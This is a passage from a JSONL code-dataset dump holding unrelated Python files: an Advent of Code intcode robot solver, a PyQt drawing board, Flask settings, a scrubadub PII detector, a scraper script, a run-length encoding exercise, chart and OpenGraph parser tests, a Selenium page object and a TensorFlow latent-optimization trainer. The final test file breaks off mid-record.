== 1\n\ndef get_nodes(ship_map, robot_pos):\n    checksum = 0\n    nodes = {robot_pos:{}}\n    for pos in ship_map:\n        if (((pos[0] + 1, pos[1]) in ship_map) and\n            ((pos[0] - 1, pos[1]) in ship_map) and\n            ((pos[0], pos[1] + 1) in ship_map) and\n            ((pos[0], pos[1] - 1) in ship_map)):\n            checksum += pos[0]*pos[1]\n        elif is_end(ship_map, pos) or is_corner(ship_map, pos):\n            nodes[pos] = None\n    return nodes,checksum\n\ndef find_next_node(ship_map, nodes, node_pos, prev = None):\n    search_dirs = [(1,0),(-1,0),(0,1),(0,-1)]\n    for direction in search_dirs:\n        for length in itertools.count(1):\n            next_pos = (node_pos[0] + direction[0] * length, node_pos[1] + direction[1] * length)\n            if not next_pos in ship_map:\n                if length > 1:\n                    next_pos = (node_pos[0] + direction[0] * (length - 1), node_pos[1] + direction[1] * (length - 1))\n                    if next_pos != prev:\n                        return next_pos,direction,(length-1)\n                break\n    return None,None,None\n\ndef get_turn(current_direction, next_direction):\n    directions = [(0,-1), (1,0), (0,1), (-1,0)]\n    if ((directions.index(current_direction) + 1) % len(directions)) == directions.index(next_direction):\n        return \"R\"\n    else:\n        return \"L\"\n\ndef get_path(ship_map, nodes, robot_pos, robot_dir):\n    prev_node = None\n    cur_node = robot_pos\n    cur_dir = robot_dir\n    path = []\n    while True:\n        next_node,next_dir,length = find_next_node(ship_map, nodes, cur_node, prev_node)\n        if not next_node:\n            return path\n\n        path.append(get_turn(cur_dir, next_dir))\n        path.append(str(length))\n\n        nodes[cur_node] = next_node\n        prev_node = cur_node\n        cur_node = next_node\n        cur_dir = next_dir\n\ndef input_string(string, in_queue):\n    for ch in string:\n        in_queue.put(ord(ch))\n    in_queue.put(ord('\\n'))\n\nprogram[0] = 2\nsystem.load_program(program)\nsystem.run_program()\n\nrobot_pos, robot_dir = read_map(out_queue, ship_map, True)\n#robot_pos, robot_dir = read_map2(ship_map)\nnodes, checksum = get_nodes(ship_map, robot_pos)\nprint(\"Alignemnt calibration=%u\" % (checksum))\npath = get_path(ship_map, nodes, robot_pos, robot_dir)\nprint(''.join(path))\n\nA=\"R,8,L,4,R,4,R,10,R,8\"\nB=\"L,12,L,12,R,8,R,8\"\nC=\"R,10,R,4,R,4\"\nseq=\"A,A,B,C,B,C,B,C,C,A\"\n\ninput_string(seq, in_queue)\ninput_string(A, in_queue)\ninput_string(B, in_queue)\ninput_string(C, in_queue)\ninput_string(\"n\", in_queue)\nsystem.run_program()\nwhile not out_queue.empty():\n    data = out_queue.get()\n    if data > 400:\n        print(data)\n    else:\n        print(chr(data), end='')\n","sub_path":"17/day17.py","file_name":"day17.py","file_ext":"py","file_size_in_byte":5062,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"464506944","text":"from PyQt5.QtWidgets import QLabel\nfrom PyQt5.QtCore import Qt, QPoint, QThread, QMutex\nfrom PyQt5.QtGui import QPixmap, QPainter, QPen, QColor\nimport cv2\nfrom Board.ImgProcess import ImgProcess\nimport threading\n\n'''暂未完成的功能(1)\nclass ColorizeThread(QThread):\n    def __init__(self, colSignal, showSignal, img_sket, img_style):\n        super().__init__()\n        self.mutex = QMutex()\n        self.colSignal = colSignal\n        self.showSignal = showSignal\n        self.img_sket = img_sket\n        self.img_style = img_style\n\n    def run(self):\n        self.mutex.lock()\n        self.colSignal.emit(self.img_sket, self.img_style)\n        self.showSignal.emit()\n        self.mutex.unlock()\n'''\n\nclass DrawingBoard(QLabel, ImgProcess):\n    pen = 0\n    eraser = 1\n    def __init__(self, parent=None):\n        super().__init__(parent)\n\n        # 鼠标移动事件的起点与终点\n        self.startPos = QPoint(0, 0)\n        self.endPos = QPoint(0, 0)\n        self.leftMousePress = False\n\n        self.imgLayer = None # 线稿图层，用于显示原线稿(QPixmap对象)\n        self.paintLayer = QPixmap(200, 200) # 画板图层，用于交互涂色\n        self.paintLayer.fill(Qt.transparent)\n\n        self.imgLoc = (0, 0) # 图层的左上角坐标\n\n        # 画笔参数\n        self.penCol = \"#87CEFA\"\n        self.penDiameter = 15\n\n        self.using = self.pen\n\n        # 信号传递器\n        self.paintComplete = None\n\n    def mousePressEvent(self, QMouseEvent):\n        if QMouseEvent.button() == Qt.LeftButton:\n            self.leftMousePress = True\n            self.startPos = QMouseEvent.pos()\n            self.endPos = self.startPos\n\n    def mouseReleaseEvent(self, QMouseEvent):\n        if QMouseEvent.button() == Qt.LeftButton:\n            self.leftMousePress = False\n            # 获取涂色后的线稿\n            if self.imgLayer != None:\n                self.downloadImg()\n\n    def mouseMoveEvent(self, QMouseEvent):\n        if self.leftMousePress:\n            self.endPos = QMouseEvent.pos()\n            self.update()\n\n    def downloadImg(self):\n        \"\"\"获取用户涂色后的图片并传递给上色AI\"\"\"\n\n        ''' 暂未完成的功能(2)\n        def colorizeThread(img_bottom, img_style):\n            self.paintComplete.colorizeSignal.emit(img_bottom, img_style)\n            self.paintComplete.showSignal.emit()\n        '''\n\n        img_bottom = self.Qimg2opencv(self.imgLayer) # 将QPixmap对象转化为opencv对象\n        img_top = self.Qimg2opencv(self.paintLayer)\n        img_style = self.coverImg(img_bottom.copy(), img_top.copy()) # 画板覆盖在原线稿上\n\n        ''' 暂未完成的功能(1)——AI上色时左侧画板可继续涂写(QThread)\n        self.colThread = ColorizeThread(\n            self.paintComplete.colorizeSignal,\n            self.paintComplete.showSignal,\n            img_bottom, img_style)\n        self.colThread.start()\n        '''\n\n        ''' 暂未完成的功能(2)——AI上色时左侧画板可继续涂写(threading)\n        threading.Thread(target=colorizeThread, args=(img_bottom, img_style), daemon=True).start()\n        '''\n\n        self.paintComplete.waitSignal.emit()\n        self.paintComplete.colorizeSignal.emit(img_bottom, img_style)\n        self.paintComplete.showSignal.emit()\n\n    def revealImg(self):\n        def checkPos(pos):\n            '''检查画笔坐标是否越界'''\n            if pos.x() < self.imgLoc[0]:\n                return False\n            if pos.x() > self.imgLoc[0] + self.paintLayer.width():\n                return False\n            if pos.y() < self.imgLoc[1]:\n                return False\n            if pos.y() > self.imgLoc[1] + self.paintLayer.height():\n                return False\n            return True\n\n        # 图片适应画板大小\n        scale_x = (self.width() - 80) / self.imgLayer.width()\n        scale_y = (self.height() - 80) / self.imgLayer.height()\n        scale = min(scale_x, scale_y)\n\n        size = self.imgLayer.size()\n        self.imgLayer = self.imgLayer.scaled(scale * size)\n        self.paintLayer = self.paintLayer.scaled(scale * size)\n\n        # 图片居中，记录左上角坐标\n        x = int((self.width() - self.imgLayer.width()) / 2)\n        y = int((self.height() - self.imgLayer.height()) / 2)\n        self.imgLoc = (x, y)\n\n        '''在画板图层涂色'''\n        qp = QPainter(self.paintLayer)\n        qp.begin(self.paintLayer)\n\n        # 设置画笔\n        if self.using == self.pen:\n            col = QColor(self.penCol)\n        elif self.using == self.eraser:\n            col = QColor(Qt.white)\n        pen = QPen(col, self.penDiameter, Qt.SolidLine)\n        qp.setPen(pen)\n\n        # 沿轨迹涂色\n        if self.startPos != self.endPos and checkPos(self.startPos) and checkPos(self.endPos):\n            diff = QPoint(self.imgLoc[0], self.imgLoc[1])\n            qp.drawLine(self.startPos - diff, self.endPos - diff)\n\n        qp.end()\n\n        self.startPos = self.endPos\n\n        '''重新显示线稿图层与画板图层'''\n        painter = QPainter(self)\n        painter.begin(self)\n\n        x, y = self.imgLoc[:]\n        painter.drawPixmap(x, y, self.imgLayer)\n        painter.drawPixmap(x, y, self.paintLayer)\n\n        painter.end()\n\n    def paintEvent(self, QPaintEvent):\n        super().paintEvent(QPaintEvent)\n\n        if self.imgLayer != None:\n            self.revealImg()\n\n    def loadImg(self, fpath):\n        img = cv2.imread(fpath, 1)\n        pixmap = self.opencv2Qimg(img)\n\n        self.imgLayer = pixmap\n\n        self.paintLayer.fill(Qt.transparent)\n        self.paintLayer = self.paintLayer.scaled(\n            self.imgLayer.width(), self.imgLayer.height())\n\n        self.update()","sub_path":"Board/DrawingBoard.py","file_name":"DrawingBoard.py","file_ext":"py","file_size_in_byte":5690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"56010744","text":"# -*- coding: utf-8 -*-\n\"\"\"Application configuration.\n\nMost configuration is set via environment variables.\n\nFor local development, use a .env file to set\nenvironment variables.\n\"\"\"\nimport os\n\nfrom environs import Env\n\nENV = Env()\nENV.read_env()\n\nPROJECT_ROOT: str = os.path.join(\n    os.path.join(os.path.abspath(os.path.dirname(__file__)), os.pardir), os.pardir\n)\nTEST_PATH: str = os.path.join(PROJECT_ROOT, \"tests\")\nFLASK_ENV: str = ENV.str(\"FLASK_ENV\", default=\"production\")\nDEBUG: bool = FLASK_ENV == \"development\"  # if flask environment is development set debug to True\nSQLALCHEMY_DATABASE_URI = ENV.str(\"DATABASE_URL\")\nSECRET_KEY = ENV.str(\"SECRET_KEY\")\nBCRYPT_LOG_ROUNDS = ENV.int(\"BCRYPT_LOG_ROUNDS\", default=13)\nDEBUG_TB_ENABLED = DEBUG\nDEBUG_TB_INTERCEPT_REDIRECTS: bool = False\nCACHE_TYPE: str = \"simple\"  # Can be \"memcached\", \"redis\", etc.\nSQLALCHEMY_TRACK_MODIFICATIONS: bool = False\nWEBPACK_MANIFEST_PATH: str = \"webpack/manifest.json\"\nJWT_SECRET_KEY: str = ENV.str(\n    \"JWT_SECRET_KEY\", default=SECRET_KEY\n)  # If this is not set, we use the flask SECRET_KEY value instead.\nREFRESH_EXP_LENGTH: int = ENV.int(\"REFRESH_EXP_LENGTH\", default=30)\nACCESS_EXP_LENGTH: int = ENV.int(\"ACCESS_EXP_LENGTH\", default=10)\n","sub_path":"src/config/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":1227,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"480352052","text":"import sys\n\nfrom typing import Optional, List, Generator\n\nif sys.version_info >= (3, 8):\n    from typing import TypedDict  # pylint: disable=no-name-in-module\nelse:\n    from typing_extensions import TypedDict\n\nfrom .base import Detector\nfrom ..filth.known import KnownFilth\n\nKnownFilthItem = TypedDict(\n    'KnownFilthItem',\n    {'match': str, 'match_end': Optional[str], 'limit': Optional[int], 'filth_type': Optional[str]},\n    total=False,\n)\n\n\nclass KnownFilthDetector(Detector):\n    \"\"\"Use some predefined phrases to label the text.\n\n    This is useful if you have found that some particular\n    type of PII occurs regularly or you want to compare\n    scrubadub with already selected PII.\n    \"\"\"\n\n    filth_cls = KnownFilth\n    name = 'known'\n\n    def __init__(self, known_filth_items: Optional[List[KnownFilthItem]] = None, **kwargs):\n        super().__init__(**kwargs)\n        if known_filth_items is None:\n            known_filth_items = []\n        self._known_filth_items = known_filth_items\n\n    def _find_all(\n            self,\n            text: str,\n            substr: str,\n            comparison_type: Optional[str] = None,\n            document_name: Optional[str] = None\n    ) -> Generator[KnownFilth, None, None]:\n        \"\"\"Yield filth for each match to substr in text.\"\"\"\n        substr_len = len(substr)\n        start_location = text.find(substr)\n\n        while start_location >= 0:\n            yield KnownFilth(\n                start_location,\n                start_location + substr_len,\n                text[start_location:start_location + substr_len],\n                comparison_type=comparison_type,\n                detector_name=self.name,\n                document_name=document_name,\n            )\n            start_location = text.find(\n                substr,\n                start_location + substr_len\n            )\n\n    def _find_all_between(\n            self,\n            text: str,\n            substr_start: str,\n            substr_end: str,\n            limit: int = 150,\n            comparison_type: Optional[str] = None,\n            document_name: Optional[str] = None\n    ) -> Generator[KnownFilth, None, None]:\n        \"\"\"Yield filth for text between (and including)\n        substr_start and substr_end, but only if the text\n        between the two is less than limit characters.\n        \"\"\"\n        substr_start_len = len(substr_start)\n        substr_end_len = len(substr_end)\n        start_location = text.find(substr_start)\n\n        while start_location >= 0:\n            end_location = text.find(\n                substr_end,\n                start_location + substr_start_len,\n                start_location + substr_start_len + limit + substr_end_len\n            )\n            if end_location >= 0:\n                yield KnownFilth(\n                    start_location,\n                    end_location + substr_end_len,\n                    text[start_location:end_location + substr_end_len],\n                    comparison_type=comparison_type,\n                    detector_name=self.name,\n                    document_name=document_name,\n                )\n                next_search_start = end_location + substr_end_len\n            else:\n                next_search_start = start_location + substr_start_len\n\n            start_location = text.find(substr_start, next_search_start)\n\n    def iter_filth(\n            self,\n            text: str,\n            document_name: Optional[str] = None\n    ) -> Generator[KnownFilth, None, None]:\n        \"\"\"Iterate over the predefined PII list and yield\n        filth instances.\"\"\"\n        for pii_item in self._known_filth_items:\n            # could also implement other types in here too\n            if 'match' in pii_item and 'match_end' in pii_item and pii_item['match_end'] is not None:\n                for found_item in self._find_all_between(\n                        text,\n                        pii_item['match'],\n                        pii_item['match_end'],\n                        limit=int(pii_item.get('limit', 150) or 150),\n                        comparison_type=pii_item.get('filth_type', None),\n                        document_name=document_name,\n                ):\n                    yield found_item\n            elif 'match' in pii_item:\n                for found_item in self._find_all(\n                        text,\n                        pii_item['match'],\n                        comparison_type=pii_item.get('filth_type', None),\n                        document_name=document_name,\n                ):\n                    yield found_item\n            else:\n                raise ValueError(\n                    \"Unknown keys in predefined PII item: \"\n                    \"{}\".format(pii_item.keys())\n                )\n","sub_path":"scrubadub/detectors/known.py","file_name":"known.py","file_ext":"py","file_size_in_byte":4729,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"444569582","text":"from qlib.web import CMESP500Scraper\nfrom datetime import datetime\n\n\nif __name__ == '__main__':\n    run_date = datetime.today().strftime('%Y%m%d')\n\n    scraper = CMESP500Scraper()\n    scraper.load_all()\n\n    data_dir = r'/home/yue/study/OptionStrategies/data/CMESP500'\n\n    print(\"Loaded {} futures contracts\".format(scraper.futures_data.shape[0]))\n    scraper.futures_data.to_csv('{}/CMESP500Futures_{}.csv'.format(data_dir, run_date), index=False)\n\n    print(\"Loaded {} options contracts\".format(scraper.options_data.shape[0]))\n    scraper.options_data.to_csv('{}/CMESP500Options_{}.csv'.format(data_dir, run_date), index=False)\n","sub_path":"python-package/scripts/download_cme_sp500.py","file_name":"download_cme_sp500.py","file_ext":"py","file_size_in_byte":631,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"351422048","text":"'''Codificação run-lenght. Escreva uma função recursiva que implemente a técnica de\ncompressão run-lenght descrita no exercício anterior. Sua função deve receber uma lista ou\numa string como seu único parâmetro. Ela deve retornar a lista compactada em run-lenght\ncomo seu único resultado. Inclua um programa principal que leia uma string do usuário, a\ncompacte e exiba o resultado codificado em run-lenght.'''\n\ndef mapear(x):\n    if x.isdigit() == False:\n        return x \n\ndef is_null(str):\n    if str.isdigit() == False:\n        return True\n    else:\n        return False\n\ndef cod_run_lenght(string):\n    if type(string) == str:\n        resultado = map(mapear,filter(is_null,string))\n        resultado = list(resultado)\n        return cod_run_lenght([resultado,[]])\n\n    elif len(string[0]) != 0:\n        x = string[0]\n        index = string[1]\n        letra = x[0]\n        if index == []:\n            index.append(letra)\n            index.append(0)\n        if index[-2] == letra:\n            index[-1] = index[-1]+1\n        if index[-2] != letra:\n            index.append(letra)\n            index.append(1)\n        x.pop(0)\n        return cod_run_lenght([x,index])\n    else:\n        return string[1]\n\nprint(f'Decodificada = {cod_run_lenght(\"AAAAAABBAAACCAABVBB\")}')","sub_path":"Lista 8/EBSS-AER-Alg-08-Ex-11.py","file_name":"EBSS-AER-Alg-08-Ex-11.py","file_ext":"py","file_size_in_byte":1281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"165797670","text":"from pandas2pygal import pandas_to_pygal_Bar, colour_dict\nimport pandas2pygal\nimport pandas\nfrom pygal.style import Style\n\ndata_path = \"./data/Sample - Superstore Sales (Excel).xlsx\"\ndata = pandas.read_excel(data_path, sheet_name = \"Orders\")\nprint(data.columns)\n\npyg = pandas_to_pygal_Bar(\n    data = data,\n    groupby1 = 'Region',\n    aggregate = 'Sales',\n    colourstyle= colour_dict[\"RedBlueStyle\"],\n    decimal_places=0,\n    print_values = False,\n    rounded_bars = 0,\n    title = \"Test Bar Chart\",\n    value_suffix = \"\",\n    x_label_rotation = 0,\n    legend_at_bottom=True,\n    legend_at_bottom_columns = 3,\n    horizontal = False,\n    agg_type = \"sum\")\n\npyg.render_in_browser()","sub_path":"test_pandas2pygal.py","file_name":"test_pandas2pygal.py","file_ext":"py","file_size_in_byte":683,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"242448332","text":"\"\"\"\nThis class models the form on contact page\nThe form consists of some input fields.\n\"\"\"\n\nfrom .Base_Page import Base_Page\nimport conf.locators_conf as locators\nfrom utils.Wrapit import Wrapit\n\nclass Contact_Form_Object:\n    \"Page object for the contact Form\"\n\n    #locators\n    #contact_name_field = locators.contact_name_field\n    FORM_EMAIL_ID = locators.FORM_EMAIL_ID\n    FORM_ACCOUNT_NUMBER = locators.FORM_ACCOUNT_NUMBER\n    FORM_EXPIRY_DATE =  locators.FORM_EXPIRY_DATE\n    FORM_CVV = locators.FORM_CVV\n    FORM_ZIP_CODE = locators.FORM_ZIP_CODE\n    FORM_REMEMBER_ME = locators.FORM_REMEMBER_ME\n    FORM_MOBILE = locators.FORM_MOBILE\n    FORM_SUBMIT = locators.FORM_SUBMIT\n\n    @Wrapit._exceptionHandler\n    def set_name(self,name):\n        \"Set the name on the Kick start form\"\n        result_flag = self.set_text(self.contact_name_field,name)\n        self.conditional_write(result_flag,\n            positive='Set the name to: %s'%name,\n            negative='Failed to set the name in the form',\n            level='debug')\n\n        return result_flag\n\n    @Wrapit._exceptionHandler\n    def set_email(self,email):\n        \"Set the email on the form\"\n        result_flag = self.set_text(self.FORM_EMAIL_ID,email)\n        self.conditional_write(result_flag,\n            positive='Set the email to: %s'%email,\n            negative='Failed to set the email in the form',\n            level='debug')\n\n        return result_flag\n\n    @Wrapit._exceptionHandler\n    def set_account_number(self,account_number):\n        \"Set the account number on the form\"\n        result_flag = self.set_text(self.FORM_ACCOUNT_NUMBER,account_number)\n        self.conditional_write(result_flag,\n            positive='Set the account number to: %s'%account_number,\n            negative='Failed to set the account number in the form',\n            level='debug')\n\n        return result_flag\n\n    @Wrapit._exceptionHandler\n    def set_expiry_date(self,expiry_date):\n        \"Set the expiry date on the form\"\n        result_flag = self.set_text(self.FORM_EXPIRY_DATE,expiry_date)\n        self.conditional_write(result_flag,\n            positive='Set the expiry date to: %s'%expiry_date,\n            negative='Failed to set the expiry date in the form',\n            level='debug')\n\n        return result_flag\n\n    @Wrapit._exceptionHandler\n    def set_cvv(self,cvv):\n        \"Set the cvv on the form\"\n        result_flag = self.set_text(self.FORM_CVV,cvv)\n        self.conditional_write(result_flag,\n            positive='Set the cvv to: %s'%cvv,\n            negative='Failed to set the cvv in the form',\n            level='debug')\n\n        return result_flag\n\n    @Wrapit._exceptionHandler\n    def set_zip_code(self,zip_code):\n        \"Set the zip code on the form\"\n        result_flag = self.set_text(self.FORM_ZIP_CODE,zip_code)\n        self.conditional_write(result_flag,\n            positive='Set the zip code to: %s'%zip_code,\n            negative='Failed to set the zip code in the form',\n            level='debug')\n\n        return result_flag\n\n    @Wrapit._exceptionHandler\n    def set_mobile(self,mobile):\n        \"Set the mobile number on the form\"\n        result_flag = self.set_text(self.FORM_MOBILE,mobile)\n        self.conditional_write(result_flag,\n            positive='Set the mobile number to: %s'%mobile,\n            negative='Failed to set the mobile number in the form',\n            level='debug')\n\n        return result_flag\n\n    @Wrapit._screenshot\n    def click_pay_button(self):\n        \"Click the pay button\"\n        result_flag = self.click_element(self.FORM_SUBMIT)\n        self.conditional_write(result_flag,\n        positive=\"Clicked on the pay button\",\n        negative=\"Could not click on the pay button\")\n\n        return result_flag","sub_path":"page_objects/contact_form_object.py","file_name":"contact_form_object.py","file_ext":"py","file_size_in_byte":3741,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"291895124","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nfrom six.moves import xrange\n\nfrom util import log\nfrom pprint import pprint\n\nfrom model import Model\nfrom input_ops import create_input_ops\n\nimport os\nimport time\nimport h5py\nimport tensorflow as tf\nimport tensorflow.contrib.slim as slim\nimport numpy as np\n\n\nclass Trainer(object):\n\n    def __init__(self,\n                 config,\n                 dataset_train,\n                 dataset_test):\n        self.config = config\n        hyper_parameter_str = config.dataset+'_lr_'+str(config.learning_rate)\n        self.train_dir = './train_dir/%s-%s-%s' % (\n            config.prefix,\n            hyper_parameter_str,\n            time.strftime(\"%Y%m%d-%H%M%S\")\n        )\n\n        if not os.path.exists(self.train_dir):\n            os.makedirs(self.train_dir)\n        log.infov(\"Train Dir: %s\", self.train_dir)\n\n        # --- input ops ---\n        self.batch_size = config.batch_size\n\n        _, self.batch_train = create_input_ops(dataset_train, self.batch_size,\n                                               is_training=True)\n        _, self.batch_test = create_input_ops(dataset_test, self.batch_size,\n                                              is_training=False)\n\n        # --- create model ---\n        self.model = Model(config)\n\n        # --- optimizer ---\n        self.global_step = tf.contrib.framework.get_or_create_global_step(graph=None)\n        self.learning_rate = config.learning_rate\n        if config.lr_weight_decay:\n            self.learning_rate = tf.train.exponential_decay(\n                config.learning_rate,\n                global_step=self.global_step,\n                decay_steps=10000,\n                decay_rate=0.5,\n                staircase=True,\n                name='decaying_learning_rate'\n            )\n\n        self.check_op = tf.no_op()\n\n        # --- checkpoint and monitoring ---\n        log.warn(\"********* var ********** \")\n        slim.model_analyzer.analyze_vars(tf.trainable_variables(), print_info=True)\n\n        self.g_optimizer = tf.contrib.layers.optimize_loss(\n            loss=self.model.loss,\n            global_step=self.global_step,\n            learning_rate=self.learning_rate,\n            optimizer=tf.train.AdamOptimizer,\n            clip_gradients=20.0,\n            name='g_optimizer_loss',\n        )\n\n        self.summary_op = tf.summary.merge_all()\n\n        self.saver = tf.train.Saver(max_to_keep=1000)\n        self.summary_writer = tf.summary.FileWriter(self.train_dir)\n\n        self.checkpoint_secs = 600  # 10 min\n\n        self.supervisor = tf.train.Supervisor(\n            logdir=self.train_dir,\n            is_chief=True,\n            saver=None,\n            summary_op=None,\n            summary_writer=self.summary_writer,\n            save_summaries_secs=300,\n            save_model_secs=self.checkpoint_secs,\n            global_step=self.global_step,\n        )\n\n        session_config = tf.ConfigProto(\n            allow_soft_placement=True,\n            gpu_options=tf.GPUOptions(allow_growth=True),\n            device_count={'GPU': 1},\n        )\n        self.session = self.supervisor.prepare_or_wait_for_session(config=session_config)\n\n        self.ckpt_path = config.checkpoint\n        if self.ckpt_path is not None:\n            log.info(\"Checkpoint path: %s\", self.ckpt_path)\n            self.saver.restore(self.session, self.ckpt_path)\n            log.info(\"Loaded the pretrain parameters from the provided checkpoint path\")\n\n    def train(self, dataset):\n        log.infov(\"Training Starts!\")\n        pprint(self.batch_train)\n\n        max_steps = 100000\n\n        output_save_step = 1000\n\n        for s in xrange(max_steps):\n            step, summary, x, loss, loss_g_update, loss_z_update, step_time = \\\n                self.run_single_step(self.batch_train, dataset, step=s, is_train=True)\n\n            if s % 10 == 0:\n                self.log_step_message(step, loss, loss_g_update, loss_z_update, step_time)\n\n            self.summary_writer.add_summary(summary, global_step=step)\n\n            if s % output_save_step == 0:\n                log.infov(\"Saved checkpoint at %d\", s)\n                save_path = self.saver.save(self.session,\n                                            os.path.join(self.train_dir, 'model'),\n                                            global_step=step)\n                if self.config.dump_result:\n                    f = h5py.File(os.path.join(self.train_dir, 'dump_result_'+str(s)+'.hdf5'), 'w')\n                    f['image'] = x\n                    f.close()\n\n    def run_single_step(self, batch, dataset, step=None, is_train=True):\n        _start_time = time.time()\n\n        batch_chunk = self.session.run(batch)\n\n        # Optmize the generator {{{\n        # ========\n        fetch = [self.global_step, self.summary_op, self.model.loss,\n                 self.model.x_recon, self.check_op, self.g_optimizer]\n\n        fetch_values = self.session.run(\n            fetch, feed_dict=self.model.get_feed_dict(batch_chunk, step=step)\n        )\n        [step, summary, loss, x] = fetch_values[:4]\n        # }}}\n\n        # Optimize the latent vectors {{{\n        fetch = [self.model.z, self.model.z_grad, self.model.loss]\n\n        fetch_values = self.session.run(\n            fetch, feed_dict=self.model.get_feed_dict(batch_chunk, step=step)\n        )\n\n        [z, z_grad, loss_g_update] = fetch_values\n\n        z_update = z - self.config.alpha * z_grad[0]\n        norm = np.sqrt(np.sum(z_update ** 2, axis=1))\n        z_update_norm = z_update / norm[:, np.newaxis]\n\n        loss_z_update = self.session.run(\n            self.model.loss, feed_dict={self.model.x: batch_chunk['image'], self.model.z: z_update_norm}\n        )\n        for i in range(len(batch_chunk['id'])):\n            dataset.set_data(batch_chunk['id'][i], z_update_norm[i, :])\n        # }}}\n\n        _end_time = time.time()\n\n        return step, summary, x, loss, loss_g_update, loss_z_update, (_end_time - _start_time)\n\n    def run_test(self, batch, is_train=False, repeat_times=8):\n\n        batch_chunk = self.session.run(batch)\n\n        loss = self.session.run(\n            self.model.loss, feed_dict=self.model.get_feed_dict(batch_chunk, is_training=False)\n        )\n\n        return loss\n\n    def log_step_message(self, step, loss, loss_g_update,\n                         loss_z_update, step_time, is_train=True):\n        if step_time == 0:\n            step_time = 0.001\n        log_fn = (is_train and log.info or log.infov)\n        log_fn((\" [{split_mode:5s} step {step:4d}] \" +\n                \"Loss: {loss:.5f} \" +\n                \"G update: {loss_g_update:.5f} \" +\n                \"Z update: {loss_z_update:.5f} \" +\n                \"({sec_per_batch:.3f} sec/batch, {instance_per_sec:.3f} instances/sec) \"\n                ).format(split_mode=(is_train and 'train' or 'val'),\n                         step=step,\n                         loss=loss,\n                         loss_z_update=loss_z_update,\n                         loss_g_update=loss_g_update,\n                         sec_per_batch=step_time,\n                         instance_per_sec=self.batch_size / step_time\n                         )\n               )\n\n\ndef check_data_path(path):\n    if os.path.isfile(os.path.join(path, 'data.hy')) \\\n           and os.path.isfile(os.path.join(path, 'id.txt')):\n        return True\n    else:\n        return False\n\n\ndef main():\n    import argparse\n    parser = argparse.ArgumentParser()\n    parser.add_argument('--batch_size', type=int, default=16)\n    parser.add_argument('--prefix', type=str, default='default')\n    parser.add_argument('--checkpoint', type=str, default=None)\n    parser.add_argument('--dataset', type=str, default='MNIST', choices=['MNIST', 'SVHN', 'CIFAR10'])\n    parser.add_argument('--learning_rate', type=float, default=1e-4)\n    parser.add_argument('--alpha', type=float, default=1.0)\n    parser.add_argument('--lr_weight_decay', action='store_true', default=False)\n    parser.add_argument('--dump_result', action='store_true', default=False)\n    config = parser.parse_args()\n\n    if config.dataset == 'MNIST':\n        import datasets.mnist as dataset\n    elif config.dataset == 'SVHN':\n        import datasets.svhn as dataset\n    elif config.dataset == 'CIFAR10':\n        import datasets.cifar10 as dataset\n    else:\n        raise ValueError(config.dataset)\n\n    config.conv_info = dataset.get_conv_info()\n    config.deconv_info = dataset.get_deconv_info()\n    dataset_train, dataset_test = dataset.create_default_splits()\n\n    m, l = dataset_train.get_data(dataset_train.ids[0])\n    config.data_info = np.concatenate([np.asarray(m.shape), np.asarray(l.shape)])\n\n    trainer = Trainer(config,\n                      dataset_train, dataset_test)\n\n    log.warning(\"dataset: %s, learning_rate: %f\",\n                config.dataset, config.learning_rate)\n    trainer.train(dataset_train)\n\nif __name__ == '__main__':\n    main()\n","sub_path":"Generative-Latent-Optimization-Tensorflow-master/trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":8930,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"438414206","text":"import json\nfrom unittest import TestCase, main\nfrom unittest.mock import patch, MagicMock\n\nfrom opengraph.opengraph import OpenGraph\n\nHTML = \"\"\"\n<html>\n    <head>\n        <title>The Rock (1996)</title>\n        <meta property=\"og:title\" content=\"The Rock\" />\n        <meta property=\"og:type\" content=\"movie\" />\n        <meta property=\"og:url\" content=\"http://www.imdb.com/title/tt0117500/\" />\n        <meta property=\"og:image\" content=\"http://ia.media-imdb.com/images/rock.jpg\" />\n        <meta property=\"og:description\" content=\"movie description\" />\n    </head>\n    <body>\n        <p>hello world</p>\n    </body>\n</html>\n\"\"\"\n\n\nHTML_WITH_MISSING_REQUIRED_ATTRS = \"\"\"\n<html>\n    <head>\n        <title>The Rock (1996)</title>\n        <meta property=\"og:title\" content=\"The Rock\" />\n        <meta property=\"og:type\" content=\"movie\" />\n        <meta property=\"og:url\" content=\"http://www.imdb.com/title/tt0117500/\" />\n    </head>\n    <body>\n        <p>hello world</p>\n    </body>\n</html>\n\"\"\"\n\n\nclass OpenGraphTests(TestCase):\n    def test_parser(self):\n        og = OpenGraph()\n        og.parser(HTML)\n\n        self.assertTrue(og.is_valid())\n        self.assertDictEqual(\n            og,\n            {\n                \"_url\": None,\n                \"description\": \"movie description\",\n                \"image\": \"http://ia.media-imdb.com/images/rock.jpg\",\n                \"scrape\": False,\n                \"title\": \"The Rock\",\n                \"type\": \"movie\",\n                \"url\": \"http://www.imdb.com/title/tt0117500/\"\n            }\n        )\n\n    def test_parser_with_missing_required_attrs(self):\n        og = OpenGraph()\n        og.parser(HTML_WITH_MISSING_REQUIRED_ATTRS)\n\n        self.assertFalse(og.is_valid())\n        self.assertDictEqual(\n            og,\n            {\n                \"_url\": None,\n                \"scrape\": False,\n                \"title\": \"The Rock\",\n                \"type\": \"movie\",\n                \"url\": \"http://www.imdb.com/title/tt0117500/\"\n            }\n        )\n\n    def test_convert_to_json(self):\n        og = OpenGraph()\n        og.parser(HTML)\n\n        json_encoded = og.to_json()\n\n        self.assertIsInstance(json_encoded, str)\n\n        decoded = json.loads(json_encoded)\n\n        self.assertDictEqual(\n            decoded,\n            {\n                \"_url\": None,\n                \"description\": \"movie description\",\n                